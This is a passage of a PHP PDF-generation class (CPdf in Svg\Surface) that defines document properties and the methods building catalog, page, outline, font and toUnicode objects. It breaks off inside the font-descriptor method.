 * @license Public Domain http://creativecommons.org/licenses/publicdomain/
 * @package Cpdf
 */

namespace Svg\Surface;

class CPdf
{
    const PDF_VERSION = '1.7';

    const ACROFORM_SIG_SIGNATURESEXISTS = 0x0001;
    const ACROFORM_SIG_APPENDONLY =       0x0002;

    const ACROFORM_FIELD_BUTTON =   'Btn';
    const ACROFORM_FIELD_TEXT =     'Tx';
    const ACROFORM_FIELD_CHOICE =   'Ch';
    const ACROFORM_FIELD_SIG =      'Sig';

    const ACROFORM_FIELD_READONLY =               0x0001;
    const ACROFORM_FIELD_REQUIRED =               0x0002;

    const ACROFORM_FIELD_TEXT_MULTILINE =         0x1000;
    const ACROFORM_FIELD_TEXT_PASSWORD =          0x2000;
    const ACROFORM_FIELD_TEXT_RICHTEXT =         0x10000;

    const ACROFORM_FIELD_CHOICE_COMBO =          0x20000;
    const ACROFORM_FIELD_CHOICE_EDIT =           0x40000;
    const ACROFORM_FIELD_CHOICE_SORT =           0x80000;
    const ACROFORM_FIELD_CHOICE_MULTISELECT =   0x200000;

    const XOBJECT_SUBTYPE_FORM = 'Form';

    /**
     * @var integer The current number of pdf objects in the document
     */
    public $numObj = 0;

    /**
     * @var array This array contains all of the pdf objects, ready for final assembly
     */
    public $objects = [];

    /**
     * @var integer The objectId (number within the objects array) of the document catalog
     */
    public $catalogId;

    /**
     * @var integer The objectId (number within the objects array) of indirect references (Javascript EmbeddedFiles)
     */
    protected $indirectReferenceId = 0;

    /**
     * @var integer The objectId (number within the objects array)
     */
    protected $embeddedFilesId = 0;

    /**
     * AcroForm objectId
     *
     * @var integer
     */
    public $acroFormId;

    /**
     * @var int
     */
    public $signatureMaxLen = 5000;

    /**
     * @var array Array carrying information about the fonts that the system currently knows about
     * Used to ensure that a font is not loaded twice, among other things
     */
    public $fonts = [];

    /**
     * @var string The default font metrics file to use if no other font has been loaded.
     * The path to the directory containing the font metrics should be included
     */
    public $defaultFont = './fonts/Helvetica.afm';

    /**
     * @string A record of the current font
     */
    public $currentFont = '';

    /**
     * @var string The current base font
     */
    public $currentBaseFont = '';

    /**
     * @var integer The number of the current font within the font array
     */
    public $currentFontNum = 0;

    /**
     * @var integer
     */
    public $currentNode;

    /**
     * @var integer Object number of the current page
     */
    public $currentPage;

    /**
     * @var integer Object number of the currently active contents block
     */
    public $currentContents;

    /**
     * @var integer Number of fonts within the system
     */
    public $numFonts = 0;

    /**
     * @var integer Number of graphic state resources used
     */
    private $numStates = 0;

    /**
     * @var array Number of graphic state resources used
     */
    private $gstates = [];

    /**
     * @var array Current color for fill operations, defaults to inactive value,
     * all three components should be between 0 and 1 inclusive when active
     */
    public $currentColor = null;

    /**
     * @var array Current color for stroke operations (lines etc.)
     */
    public $currentStrokeColor = null;

    /**
     * @var string Fill rule (nonzero or evenodd)
     */
    public $fillRule = "nonzero";

    /**
     * @var string Current style that lines are drawn in
     */
    public $currentLineStyle = '';

    /**
     * @var array Current line transparency (partial graphics state)
     */
    public $currentLineTransparency = ["mode" => "Normal", "opacity" => 1.0];

    /**
     * array Current fill transparency (partial graphics state)
     */
    public $currentFillTransparency = ["mode" => "Normal", "opacity" => 1.0];

    /**
     * @var array An array which is used to save the state of the document, mainly the colors and styles
     * it is used to temporarily change to another state, then change back to what it was before
     */
    public $stateStack = [];

    /**
     * @var integer Number of elements within the state stack
     */
    public $nStateStack = 0;

    /**
     * @var integer Number of page objects within the document
     */
    public $numPages = 0;

    /**
     * @var array Object Id storage stack
     */
    public $stack = [];

    /**
     * @var integer Number of elements within the object Id storage stack
     */
    public $nStack = 0;

    /**
     * an array which contains information about the objects which are not firmly attached to pages
     * these have been added with the addObject function
     */
    public $looseObjects = [];

    /**
     * array contains information about how the loose objects are to be added to the document
     */
    public $addLooseObjects = [];

    /**
     * @var integer The objectId of the information object for the document
     * this contains authorship, title etc.
     */
    public $infoObject = 0;

    /**
     * @var integer Number of images being tracked within the document
     */
    public $numImages = 0;

    /**
     * @var array An array containing options about the document
     * it defaults to turning on the compression of the objects
     */
    public $options = ['compression' => true];

    /**
     * @var integer The objectId of the first page of the document
     */
    public $firstPageId;

    /**
     * @var integer The object Id of the procset object
     */
    public $procsetObjectId;

    /**
     * @var array Store the information about the relationship between font families
     * this used so that the code knows which font is the bold version of another font, etc.
     * the value of this array is initialised in the constructor function.
     */
    public $fontFamilies = [];

    /**
     * @var string Folder for php serialized formats of font metrics files.
     * If empty string, use same folder as original metrics files.
     * This can be passed in from class creator.
     * If this folder does not exist or is not writable, Cpdf will be **much** slower.
     * Because of potential trouble with php safe mode, folder cannot be created at runtime.
     */
    public $fontcache = '';

    /**
     * @var integer The version of the font metrics cache file.
     * This value must be manually incremented whenever the internal font data structure is modified.
     */
    public $fontcacheVersion = 6;

    /**
     * @var string Temporary folder.
     * If empty string, will attempt system tmp folder.
     * This can be passed in from class creator.
     */
    public $tmp = '';

    /**
     * @var string Track if the current font is bolded or italicised
     */
    public $currentTextState = '';

    /**
     * @var string Messages are stored here during processing, these can be selected afterwards to give some useful debug information
     */
    public $messages = '';

    /**
     * @var string The encryption array for the document encryption is stored here
     */
    public $arc4 = '';

    /**
     * @var integer The object Id of the encryption information
     */
    public $arc4_objnum = 0;

    /**
     * @var string The file identifier, used to uniquely identify a pdf document
     */
    public $fileIdentifier = '';

    /**
     * @var boolean A flag to say if a document is to be encrypted or not
     */
    public $encrypted = false;

    /**
     * @var string The encryption key for the encryption of all the document content (structure is not encrypted)
     */
    public $encryptionKey = '';

    /**
     * @var array Array which forms a stack to keep track of nested callback functions
     */
    public $callback = [];

    /**
     * @var integer The number of callback functions in the callback array
     */
    public $nCallback = 0;

    /**
     * @var array Store label->id pairs for named destinations, these will be used to replace internal links
     * done this way so that destinations can be defined after the location that links to them
     */
    public $destinations = [];

    /**
     * @var array Store the stack for the transaction commands, each item in here is a record of the values of all the
     * publiciables within the class, so that the user can rollback at will (from each 'start' command)
     * note that this includes the objects array, so these can be large.
     */
    public $checkpoint = '';

    /**
     * @var array Table of Image origin filenames and image labels which were already added with o_image().
     * Allows to merge identical images
     */
    public $imagelist = [];

    /**
     * @var array Table of already added alpha and plain image files for transparent PNG images.
     */
    protected $imageAlphaList = [];

    /**
     * @var array List of temporary image files to be deleted after processing.
     */
    protected $imageCache = [];

    /**
     * @var boolean Whether the text passed in should be treated as Unicode or just local character set.
     */
    public $isUnicode = false;

    /**
     * @var string the JavaScript code of the document
     */
    public $javascript = '';

    /**
     * @var boolean whether the compression is possible
     */
    protected $compressionReady = false;

    /**
     * @var array Current page size
     */
    protected $currentPageSize = ["width" => 0, "height" => 0];

    /**
     * @var array All the chars that will be required in the font subsets
     */
    protected $stringSubsets = [];

    /**
     * @var string The target internal encoding
     */
    protected static $targetEncoding = 'Windows-1252';

    /**
     * @var array
     */
    protected $byteRange = array();

    /**
     * @var array The list of the core fonts
     */
    protected static $coreFonts = [
        'courier',
        'courier-bold',
        'courier-oblique',
        'courier-boldoblique',
        'helvetica',
        'helvetica-bold',
        'helvetica-oblique',
        'helvetica-boldoblique',
        'times-roman',
        'times-bold',
        'times-italic',
        'times-bolditalic',
        'symbol',
        'zapfdingbats'
    ];

    /**
     * Class constructor
     * This will start a new document
     *
     * @param array   $pageSize  Array of 4 numbers, defining the bottom left and upper right corner of the page. first two are normally zero.
     * @param boolean $isUnicode Whether text will be treated as Unicode or not.
     * @param string  $fontcache The font cache folder
     * @param string  $tmp       The temporary folder
     */
    function __construct($pageSize = [0, 0, 612, 792], $isUnicode = false, $fontcache = '', $tmp = '')
    {
        $this->isUnicode = $isUnicode;
        $this->fontcache = rtrim($fontcache, DIRECTORY_SEPARATOR."/\\");
        $this->tmp = ($tmp !== '' ? $tmp : sys_get_temp_dir());
        $this->newDocument($pageSize);

        $this->compressionReady = function_exists('gzcompress');

        if (in_array('Windows-1252', mb_list_encodings())) {
            self::$targetEncoding = 'Windows-1252';
        }

        // also initialize the font families that are known about already
        $this->setFontFamily('init');
    }

    public function __destruct()
    {
        foreach ($this->imageCache as $file) {
            if (file_exists($file)) {
                unlink($file);
            }
        }
    }

    /**
     * Document object methods (internal use only)
     *
     * There is about one object method for each type of object in the pdf document
     * Each function has the same call list ($id,$action,$options).
     * $id = the object ID of the object, or what it is to be if it is being created
     * $action = a string specifying the action to be performed, though ALL must support:
     *           'new' - create the object with the id $id
     *           'out' - produce the output for the pdf object
     * $options = optional, a string or array containing the various parameters for the object
     *
     * These, in conjunction with the output function are the ONLY way for output to be produced
     * within the pdf 'file'.
     */

    /**
     * Destination object, used to specify the location for the user to jump to, presently on opening
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return string|null
     */
    protected function o_destination($id, $action, $options = '')
    {
        switch ($action) {
            case 'new':
                $this->objects[$id] = ['t' => 'destination', 'info' => []];
                $tmp = '';
                switch ($options['type']) {
                    case 'XYZ':
                    /** @noinspection PhpMissingBreakStatementInspection */
                    case 'FitR':
                        $tmp = ' ' . $options['p3'] . $tmp;
                    case 'FitH':
                    case 'FitV':
                    case 'FitBH':
                    /** @noinspection PhpMissingBreakStatementInspection */
                    case 'FitBV':
                        $tmp = ' ' . $options['p1'] . ' ' . $options['p2'] . $tmp;
                    case 'Fit':
                    case 'FitB':
                        $tmp = $options['type'] . $tmp;
                        $this->objects[$id]['info']['string'] = $tmp;
                        $this->objects[$id]['info']['page'] = $options['page'];
                }
                break;

            case 'out':
                $o = &$this->objects[$id];

                $tmp = $o['info'];
                $res = "\n$id 0 obj\n" . '[' . $tmp['page'] . ' 0 R /' . $tmp['string'] . "]\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * set the viewer preferences
     *
     * @param $id
     * @param $action
     * @param string|array $options
     * @return string|null
     */
    protected function o_viewerPreferences($id, $action, $options = '')
    {
        switch ($action) {
            case 'new':
                $this->objects[$id] = ['t' => 'viewerPreferences', 'info' => []];
                break;

            case 'add':
                $o = &$this->objects[$id];

                foreach ($options as $k => $v) {
                    switch ($k) {
                        // Boolean keys
                        case 'HideToolbar':
                        case 'HideMenubar':
                        case 'HideWindowUI':
                        case 'FitWindow':
                        case 'CenterWindow':
                        case 'DisplayDocTitle':
                        case 'PickTrayByPDFSize':
                            $o['info'][$k] = (bool)$v;
                            break;

                        // Integer keys
                        case 'NumCopies':
                            $o['info'][$k] = (int)$v;
                            break;

                        // Name keys
                        case 'ViewArea':
                        case 'ViewClip':
                        case 'PrintClip':
                        case 'PrintArea':
                            $o['info'][$k] = (string)$v;
                            break;

                        // Named with limited valid values
                        case 'NonFullScreenPageMode':
                            if (!in_array($v, ['UseNone', 'UseOutlines', 'UseThumbs', 'UseOC'])) {
                                break;
                            }
                            $o['info'][$k] = $v;
                            break;

                        case 'Direction':
                            if (!in_array($v, ['L2R', 'R2L'])) {
                                break;
                            }
                            $o['info'][$k] = $v;
                            break;

                        case 'PrintScaling':
                            if (!in_array($v, ['None', 'AppDefault'])) {
                                break;
                            }
                            $o['info'][$k] = $v;
                            break;

                        case 'Duplex':
                            if (!in_array($v, ['None', 'Simplex', 'DuplexFlipShortEdge', 'DuplexFlipLongEdge'])) {
                                break;
                            }
                            $o['info'][$k] = $v;
                            break;

                        // Integer array
                        case 'PrintPageRange':
                            // Cast to integer array
                            foreach ($v as $vK => $vV) {
                                $v[$vK] = (int)$vV;
                            }
                            $o['info'][$k] = array_values($v);
                            break;
                    }
                }
                break;

            case 'out':
                $o = &$this->objects[$id];
                $res = "\n$id 0 obj\n<< ";

                foreach ($o['info'] as $k => $v) {
                    if (is_string($v)) {
                        $v = '/' . $v;
                    } elseif (is_int($v)) {
                        $v = (string) $v;
                    } elseif (is_bool($v)) {
                        $v = ($v ? 'true' : 'false');
                    } elseif (is_array($v)) {
                        $v = '[' . implode(' ', $v) . ']';
                    }
                    $res .= "\n/$k $v";
                }
                $res .= "\n>>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * define the document catalog, the overall controller for the document
     *
     * @param $id
     * @param $action
     * @param string|array $options
     * @return string|null
     */
    protected function o_catalog($id, $action, $options = '')
    {
        if ($action !== 'new') {
            $o = &$this->objects[$id];
        }

        switch ($action) {
            case 'new':
                $this->objects[$id] = ['t' => 'catalog', 'info' => []];
                $this->catalogId = $id;
                break;

            case 'acroform':
            case 'outlines':
            case 'pages':
            case 'openHere':
            case 'names':
                $o['info'][$action] = $options;
                break;

            case 'viewerPreferences':
                if (!isset($o['info']['viewerPreferences'])) {
                    $this->numObj++;
                    $this->o_viewerPreferences($this->numObj, 'new');
                    $o['info']['viewerPreferences'] = $this->numObj;
                }

                $vp = $o['info']['viewerPreferences'];
                $this->o_viewerPreferences($vp, 'add', $options);

                break;

            case 'out':
                $res = "\n$id 0 obj\n<< /Type /Catalog";

                foreach ($o['info'] as $k => $v) {
                    switch ($k) {
                        case 'outlines':
                            $res .= "\n/Outlines $v 0 R";
                            break;

                        case 'pages':
                            $res .= "\n/Pages $v 0 R";
                            break;

                        case 'viewerPreferences':
                            $res .= "\n/ViewerPreferences $v 0 R";
                            break;

                        case 'openHere':
                            $res .= "\n/OpenAction $v 0 R";
                            break;

                        case 'names':
                            $res .= "\n/Names $v 0 R";
                            break;

                        case 'acroform':
                            $res .= "\n/AcroForm $v 0 R";
                            break;
                    }
                }

                $res .= " >>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * object which is a parent to the pages in the document
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return string|null
     */
    protected function o_pages($id, $action, $options = '')
    {
        if ($action !== 'new') {
            $o = &$this->objects[$id];
        }

        switch ($action) {
            case 'new':
                $this->objects[$id] = ['t' => 'pages', 'info' => []];
                $this->o_catalog($this->catalogId, 'pages', $id);
                break;

            case 'page':
                if (!is_array($options)) {
                    // then it will just be the id of the new page
                    $o['info']['pages'][] = $options;
                } else {
                    // then it should be an array having 'id','rid','pos', where rid=the page to which this one will be placed relative
                    // and pos is either 'before' or 'after', saying where this page will fit.
                    if (isset($options['id']) && isset($options['rid']) && isset($options['pos'])) {
                        $i = array_search($options['rid'], $o['info']['pages']);
                        if (isset($o['info']['pages'][$i]) && $o['info']['pages'][$i] == $options['rid']) {

                            // then there is a match
                            // make a space
                            switch ($options['pos']) {
                                case 'before':
                                    $k = $i;
                                    break;

                                case 'after':
                                    $k = $i + 1;
                                    break;

                                default:
                                    $k = -1;
                                    break;
                            }

                            if ($k >= 0) {
                                for ($j = count($o['info']['pages']) - 1; $j >= $k; $j--) {
                                    $o['info']['pages'][$j + 1] = $o['info']['pages'][$j];
                                }

                                $o['info']['pages'][$k] = $options['id'];
                            }
                        }
                    }
                }
                break;

            case 'procset':
                $o['info']['procset'] = $options;
                break;

            case 'mediaBox':
                $o['info']['mediaBox'] = $options;
                // which should be an array of 4 numbers
                $this->currentPageSize = ['width' => $options[2], 'height' => $options[3]];
                break;

            case 'font':
                $o['info']['fonts'][] = ['objNum' => $options['objNum'], 'fontNum' => $options['fontNum']];
                break;

            case 'extGState':
                $o['info']['extGStates'][] = ['objNum' => $options['objNum'], 'stateNum' => $options['stateNum']];
                break;

            case 'xObject':
                $o['info']['xObjects'][] = ['objNum' => $options['objNum'], 'label' => $options['label']];
                break;

            case 'out':
                if (count($o['info']['pages'])) {
                    $res = "\n$id 0 obj\n<< /Type /Pages\n/Kids [";
                    foreach ($o['info']['pages'] as $v) {
                        $res .= "$v 0 R\n";
                    }

                    $res .= "]\n/Count " . count($this->objects[$id]['info']['pages']);

                    if ((isset($o['info']['fonts']) && count($o['info']['fonts'])) ||
                        isset($o['info']['procset']) ||
                        (isset($o['info']['extGStates']) && count($o['info']['extGStates']))
                    ) {
                        $res .= "\n/Resources <<";

                        if (isset($o['info']['procset'])) {
                            $res .= "\n/ProcSet " . $o['info']['procset'] . " 0 R";
                        }

                        if (isset($o['info']['fonts']) && count($o['info']['fonts'])) {
                            $res .= "\n/Font << ";
                            foreach ($o['info']['fonts'] as $finfo) {
                                $res .= "\n/F" . $finfo['fontNum'] . " " . $finfo['objNum'] . " 0 R";
                            }
                            $res .= "\n>>";
                        }

                        if (isset($o['info']['xObjects']) && count($o['info']['xObjects'])) {
                            $res .= "\n/XObject << ";
                            foreach ($o['info']['xObjects'] as $finfo) {
                                $res .= "\n/" . $finfo['label'] . " " . $finfo['objNum'] . " 0 R";
                            }
                            $res .= "\n>>";
                        }

                        if (isset($o['info']['extGStates']) && count($o['info']['extGStates'])) {
                            $res .= "\n/ExtGState << ";
                            foreach ($o['info']['extGStates'] as $gstate) {
                                $res .= "\n/GS" . $gstate['stateNum'] . " " . $gstate['objNum'] . " 0 R";
                            }
                            $res .= "\n>>";
                        }

                        $res .= "\n>>";
                        if (isset($o['info']['mediaBox'])) {
                            $tmp = $o['info']['mediaBox'];
                            $res .= "\n/MediaBox [" . sprintf(
                                    '%.3F %.3F %.3F %.3F',
                                    $tmp[0],
                                    $tmp[1],
                                    $tmp[2],
                                    $tmp[3]
                                ) . ']';
                        }
                    }

                    $res .= "\n >>\nendobj";
                } else {
                    $res = "\n$id 0 obj\n<< /Type /Pages\n/Count 0\n>>\nendobj";
                }

                return $res;
        }

        return null;
    }

    /**
     * define the outlines in the doc, empty for now
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return string|null
     */
    protected function o_outlines($id, $action, $options = '')
    {
        if ($action !== 'new') {
            $o = &$this->objects[$id];
        }

        switch ($action) {
            case 'new':
                $this->objects[$id] = ['t' => 'outlines', 'info' => ['outlines' => []]];
                $this->o_catalog($this->catalogId, 'outlines', $id);
                break;

            case 'outline':
                $o['info']['outlines'][] = $options;
                break;

            case 'out':
                if (count($o['info']['outlines'])) {
                    $res = "\n$id 0 obj\n<< /Type /Outlines /Kids [";
                    foreach ($o['info']['outlines'] as $v) {
                        $res .= "$v 0 R ";
                    }

                    $res .= "] /Count " . count($o['info']['outlines']) . " >>\nendobj";
                } else {
                    $res = "\n$id 0 obj\n<< /Type /Outlines /Count 0 >>\nendobj";
                }

                return $res;
        }

        return null;
    }

    /**
     * an object to hold the font description
     *
     * @param $id
     * @param $action
     * @param string|array $options
     * @return string|null
     * @throws FontNotFoundException
     */
    protected function o_font($id, $action, $options = '')
    {
        if ($action !== 'new') {
            $o = &$this->objects[$id];
        }

        switch ($action) {
            case 'new':
                $this->objects[$id] = [
                    't'    => 'font',
                    'info' => [
                        'name'         => $options['name'],
                        'fontFileName' => $options['fontFileName'],
                        'SubType'      => 'Type1',
                        'isSubsetting'   => $options['isSubsetting']
                    ]
                ];
                $fontNum = $this->numFonts;
                $this->objects[$id]['info']['fontNum'] = $fontNum;

                // deal with the encoding and the differences
                if (isset($options['differences'])) {
                    // then we'll need an encoding dictionary
                    $this->numObj++;
                    $this->o_fontEncoding($this->numObj, 'new', $options);
                    $this->objects[$id]['info']['encodingDictionary'] = $this->numObj;
                } else {
                    if (isset($options['encoding'])) {
                        // we can specify encoding here
                        switch ($options['encoding']) {
                            case 'WinAnsiEncoding':
                            case 'MacRomanEncoding':
                            case 'MacExpertEncoding':
                                $this->objects[$id]['info']['encoding'] = $options['encoding'];
                                break;

                            case 'none':
                                break;

                            default:
                                $this->objects[$id]['info']['encoding'] = 'WinAnsiEncoding';
                                break;
                        }
                    } else {
                        $this->objects[$id]['info']['encoding'] = 'WinAnsiEncoding';
                    }
                }

                if ($this->fonts[$options['fontFileName']]['isUnicode']) {
                    // For Unicode fonts, we need to incorporate font data into
                    // sub-sections that are linked from the primary font section.
                    // Look at o_fontGIDtoCID and o_fontDescendentCID functions
                    // for more information.
                    //
                    // All of this code is adapted from the excellent changes made to
                    // transform FPDF to TCPDF (http://tcpdf.sourceforge.net/)

                    $toUnicodeId = ++$this->numObj;
                    $this->o_toUnicode($toUnicodeId, 'new');
                    $this->objects[$id]['info']['toUnicode'] = $toUnicodeId;

                    $cidFontId = ++$this->numObj;
                    $this->o_fontDescendentCID($cidFontId, 'new', $options);
                    $this->objects[$id]['info']['cidFont'] = $cidFontId;
                }

                // also tell the pages node about the new font
                $this->o_pages($this->currentNode, 'font', ['fontNum' => $fontNum, 'objNum' => $id]);
                break;

            case 'add':
                $font_options = $this->processFont($id, $o['info']);

                if ($font_options !== false) {
                    foreach ($font_options as $k => $v) {
                        switch ($k) {
                            case 'BaseFont':
                                $o['info']['name'] = $v;
                                break;
                            case 'FirstChar':
                            case 'LastChar':
                            case 'Widths':
                            case 'FontDescriptor':
                            case 'SubType':
                                $this->addMessage('o_font ' . $k . " : " . $v);
                                $o['info'][$k] = $v;
                                break;
                        }
                    }

                    // pass values down to descendent font
                    if (isset($o['info']['cidFont'])) {
                        $this->o_fontDescendentCID($o['info']['cidFont'], 'add', $font_options);
                    }
                }
                break;

            case 'out':
                if ($this->fonts[$this->objects[$id]['info']['fontFileName']]['isUnicode']) {
                    // For Unicode fonts, we need to incorporate font data into
                    // sub-sections that are linked from the primary font section.
                    // Look at o_fontGIDtoCID and o_fontDescendentCID functions
                    // for more information.
                    //
                    // All of this code is adapted from the excellent changes made to
                    // transform FPDF to TCPDF (http://tcpdf.sourceforge.net/)

                    $res = "\n$id 0 obj\n<</Type /Font\n/Subtype /Type0\n";
                    $res .= "/BaseFont /" . $o['info']['name'] . "\n";

                    // The horizontal identity mapping for 2-byte CIDs; may be used
                    // with CIDFonts using any Registry, Ordering, and Supplement values.
                    $res .= "/Encoding /Identity-H\n";
                    $res .= "/DescendantFonts [" . $o['info']['cidFont'] . " 0 R]\n";
                    $res .= "/ToUnicode " . $o['info']['toUnicode'] . " 0 R\n";
                    $res .= ">>\n";
                    $res .= "endobj";
                } else {
                    $res = "\n$id 0 obj\n<< /Type /Font\n/Subtype /" . $o['info']['SubType'] . "\n";
                    $res .= "/Name /F" . $o['info']['fontNum'] . "\n";
                    $res .= "/BaseFont /" . $o['info']['name'] . "\n";

                    if (isset($o['info']['encodingDictionary'])) {
                        // then place a reference to the dictionary
                        $res .= "/Encoding " . $o['info']['encodingDictionary'] . " 0 R\n";
                    } else {
                        if (isset($o['info']['encoding'])) {
                            // use the specified encoding
                            $res .= "/Encoding /" . $o['info']['encoding'] . "\n";
                        }
                    }

                    if (isset($o['info']['FirstChar'])) {
                        $res .= "/FirstChar " . $o['info']['FirstChar'] . "\n";
                    }

                    if (isset($o['info']['LastChar'])) {
                        $res .= "/LastChar " . $o['info']['LastChar'] . "\n";
                    }

                    if (isset($o['info']['Widths'])) {
                        $res .= "/Widths " . $o['info']['Widths'] . " 0 R\n";
                    }

                    if (isset($o['info']['FontDescriptor'])) {
                        $res .= "/FontDescriptor " . $o['info']['FontDescriptor'] . " 0 R\n";
                    }

                    $res .= ">>\n";
                    $res .= "endobj";
                }

                return $res;
        }

        return null;
    }

    protected function getFontSubsettingTag(array $font): string
    {
        // convert font num to hexavigesimal numeral system letters A - Z only
        $base_26 = strtoupper(base_convert($font['fontNum'], 10, 26));
        for ($i = 0; $i < strlen($base_26); $i++) {
            $char = $base_26[$i];
            if ($char <= "9") {
                $base_26[$i] = chr(65 + intval($char));
            } else {
                $base_26[$i] = chr(ord($char) + 10);
            }
        }

        return 'SUB' . str_pad($base_26, 3, 'A', STR_PAD_LEFT);
    }

    /**
     * @param int $fontObjId
     * @param array $object_info
     * @return array|false
     * @throws FontNotFoundException
     */
    private function processFont(int $fontObjId, array $object_info)
    {
        $fontFileName = $object_info['fontFileName'];
        if (!isset($this->fonts[$fontFileName])) {
            return false;
        }

        $font = &$this->fonts[$fontFileName];

        $fileSuffix = $font['fileSuffix'];
        $fileSuffixLower = strtolower($font['fileSuffix']);
        $fbfile = "$fontFileName.$fileSuffix";
        $isTtfFont = $fileSuffixLower === 'ttf';
        $isPfbFont = $fileSuffixLower === 'pfb';

        $this->addMessage('selectFont: checking for - ' . $fbfile);

        if (!$fileSuffix) {
            $this->addMessage(
                'selectFont: pfb or ttf file not found, ok if this is one of the 14 standard fonts'
            );

            return false;
        } else {
            $adobeFontName = isset($font['PostScriptName']) ? $font['PostScriptName'] : $font['FontName'];
            //        $fontObj = $this->numObj;
            $this->addMessage("selectFont: adding font file - $fbfile - $adobeFontName");

            // find the array of font widths, and put that into an object.
            $firstChar = -1;
            $lastChar = 0;
            $widths = [];
            $cid_widths = [];

            foreach ($font['C'] as $num => $d) {
                if (intval($num) > 0 || $num == '0') {
                    if (!$font['isUnicode']) {
                        // With Unicode, widths array isn't used
                        if ($lastChar > 0 && $num > $lastChar + 1) {
                            for ($i = $lastChar + 1; $i < $num; $i++) {
                                $widths[] = 0;
                            }
                        }
                    }

                    $widths[] = $d;

                    if ($font['isUnicode']) {
                        $cid_widths[$num] = $d;
                    }

                    if ($firstChar == -1) {
                        $firstChar = $num;
                    }

                    $lastChar = $num;
                }
            }

            // also need to adjust the widths for the differences array
            if (isset($object['differences'])) {
                foreach ($object['differences'] as $charNum => $charName) {
                    if ($charNum > $lastChar) {
                        if (!$object['isUnicode']) {
                            // With Unicode, widths array isn't used
                            for ($i = $lastChar + 1; $i <= $charNum; $i++) {
                                $widths[] = 0;
                            }
                        }

                        $lastChar = $charNum;
                    }

                    if (isset($font['C'][$charName])) {
                        $widths[$charNum - $firstChar] = $font['C'][$charName];
                        if ($font['isUnicode']) {
                            $cid_widths[$charName] = $font['C'][$charName];
                        }
                    }
                }
            }

            if ($font['isUnicode']) {
                $font['CIDWidths'] = $cid_widths;
            }

            $this->addMessage('selectFont: FirstChar = ' . $firstChar);
            $this->addMessage('selectFont: LastChar = ' . $lastChar);

            $widthid = -1;

            if (!$font['isUnicode']) {
                // With Unicode, widths array isn't used

                $this->numObj++;
                $this->o_contents($this->numObj, 'new', 'raw');
                $this->objects[$this->numObj]['c'] .= '[' . implode(' ', $widths) . ']';
                $widthid = $this->numObj;
            }

            $missing_width = 500;
            $stemV = 70;

            if (isset($font['MissingWidth'])) {
                $missing_width = $font['MissingWidth'];
            }
            if (isset($font['StdVW'])) {
                $stemV = $font['StdVW'];
            } else {
                if (isset($font['Weight']) && preg_match('!(bold|black)!i', $font['Weight'])) {
                    $stemV = 120;
                }
            }

            // load the pfb file, and put that into an object too.
            // note that pdf supports only binary format type 1 font files, though there is a
            // simple utility to convert them from pfa to pfb.
            $data = file_get_contents($fbfile);

            // create the font descriptor
            $this->numObj++;
            $fontDescriptorId = $this->numObj;

            $this->numObj++;
            $pfbid = $this->numObj;

            // determine flags (more than a little flakey, hopefully will not matter much)
            $flags = 0;

            if ($font['ItalicAngle'] != 0) {
                $flags += pow(2, 6);
            }

            if ($font['IsFixedPitch'] === 'true') {
                $flags += 1;
            }

            $flags += pow(2, 5); // assume non-sybolic
            $list = [
                'Ascent'       => 'Ascender',
                'CapHeight'    => 'Ascender', //FIXME: php-font-lib is not grabbing this value, so we'll fake it and use the Ascender value // 'CapHeight'
                'MissingWidth' => 'MissingWidth',
                'Descent'      => 'Descender',
                'FontBBox'     => 'FontBBox',
                'ItalicAngle'  => 'ItalicAngle'
            ];
            $fdopt = [
                'Flags'    => $flags,
                'FontName' => $adobeFontName,
                'StemV'    => $stemV
            ];

            foreach ($list as $k => $v) {
                if (isset($font[$v])) {
                    $fdopt[$k] = $font[$v];
                }
            }

            if ($isPfbFont) {
                $fdopt['FontFile'] = $pfbid;
            } elseif ($isTtfFont) {
                $fdopt['FontFile2'] = $pfbid;
            }

            $this->o_fontDescriptor($fontDescriptorId, 'new', $fdopt);

            // embed the font program
            $this->o_contents($this->numObj, 'new');
            $this->objects[$pfbid]['c'] .= $data;

            // determine the cruicial lengths within this file
            if ($isPfbFont) {
                $l1 = strpos($data, 'eexec') + 6;
                $l2 = strpos($data, '00000000') - $l1;
                $l3 = mb_strlen($data, '8bit') - $l2 - $l1;
                $this->o_contents(
                    $this->numObj,
                    'add',
                    ['Length1' => $l1, 'Length2' => $l2, 'Length3' => $l3]
                );
            } elseif ($isTtfFont) {
                $l1 = mb_strlen($data, '8bit');
                $this->o_contents($this->numObj, 'add', ['Length1' => $l1]);
            }

            // tell the font object about all this new stuff
            $options = [
                'BaseFont'       => $adobeFontName,
                'MissingWidth'   => $missing_width,
                'Widths'         => $widthid,
                'FirstChar'      => $firstChar,
                'LastChar'       => $lastChar,
                'FontDescriptor' => $fontDescriptorId
            ];

            if ($isTtfFont) {
                $options['SubType'] = 'TrueType';
            }

            $this->addMessage("adding extra info to font.($fontObjId)");

            foreach ($options as $fk => $fv) {
                $this->addMessage("$fk : $fv");
            }
        }

        return $options;
    }

    /**
     * A toUnicode section, needed for unicode fonts
     *
     * @param $id
     * @param $action
     * @return null|string
     */
    protected function o_toUnicode($id, $action)
    {
        switch ($action) {
            case 'new':
                $this->objects[$id] = [
                    't'    => 'toUnicode'
                ];
                break;
            case 'add':
                break;
            case 'out':
                $ordering = 'UCS';
                $registry = 'Adobe';

                if ($this->encrypted) {
                    $this->encryptInit($id);
                    $ordering = $this->ARC4($ordering);
                    $registry = $this->filterText($this->ARC4($registry), false, false);
                }

                $stream = <<<EOT
/CIDInit /ProcSet findresource begin
12 dict begin
begincmap
/CIDSystemInfo
<</Registry ($registry)
/Ordering ($ordering)
/Supplement 0
>> def
/CMapName /Adobe-Identity-UCS def
/CMapType 2 def
1 begincodespacerange
<0000> <FFFF>
endcodespacerange
1 beginbfrange
<0000> <FFFF> <0000>
endbfrange
endcmap
CMapName currentdict /CMap defineresource pop
end
end
EOT;

                $res = "\n$id 0 obj\n";
                $res .= "<</Length " . mb_strlen($stream, '8bit') . " >>\n";
                $res .= "stream\n" . $stream . "\nendstream" . "\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * a font descriptor, needed for including additional fonts
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return null|string
     */
    protected function o_fontDescriptor($id, $action, $options = '')
    {
        if ($action !== 'new') {
            $o = &$this->objects[$id];
        }

        switch ($action) {
            case 'new':
                $this->objects[$id] = ['t' => 'fontDescriptor', 'info' => $options];
